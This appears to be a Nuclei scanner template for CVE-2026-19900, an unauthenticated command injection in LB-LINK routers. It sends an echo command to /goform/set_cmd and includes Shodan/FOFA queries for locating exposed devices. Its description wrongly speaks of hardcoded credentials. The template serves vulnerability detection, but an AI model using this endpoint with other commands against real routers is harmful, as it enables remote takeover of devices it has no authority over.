LB-LINK Routers - Unauthenticated Command Injection

id: CVE-2026-19900

info:
  name: LB-LINK Routers - Unauthenticated Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    LB-LINK X-PRO 1.0.22-20231206 contains a hardcoded credentials vulnerability caused by manipulation of an unknown function in /etc/shadow, letting remote attackers use hardcoded credentials, exploit requires high complexity
  impact: |
    Remote attackers can use hardcoded credentials to gain unauthorized access, potentially compromising the system.
  remediation: |
    Update to the latest version or contact vendor for a patch.
  reference:
    - https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19900
    epss-score: 0.00454
    epss-percentile: 0.37664
    cwe-id: CWE-77
  metadata:
    max-request: 2
    verified: true
    vendor: lb-link
    product: bl-wr9000_firmware
    fofa-query: body="goform" && body="LB-LINK"
    shodan-query: http.html:"LB-LINK" "GoAhead-Webs"
  tags: cve,cve2026,lb-link,router,rce,iot,unauth,cmdi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "goahead")'
          - 'contains_any(tolower(body), "lb-link", "goform", "/login.asp")'
        condition: and
        internal: true

  - raw:
      - |
        POST /goform/set_cmd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cmd=echo+{{randstr}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "GoAhead")'
          - 'contains_all(body, "\"type\":\"setcmd\"", "\"cmdinfo\":\"{{randstr}}")'
        condition: and
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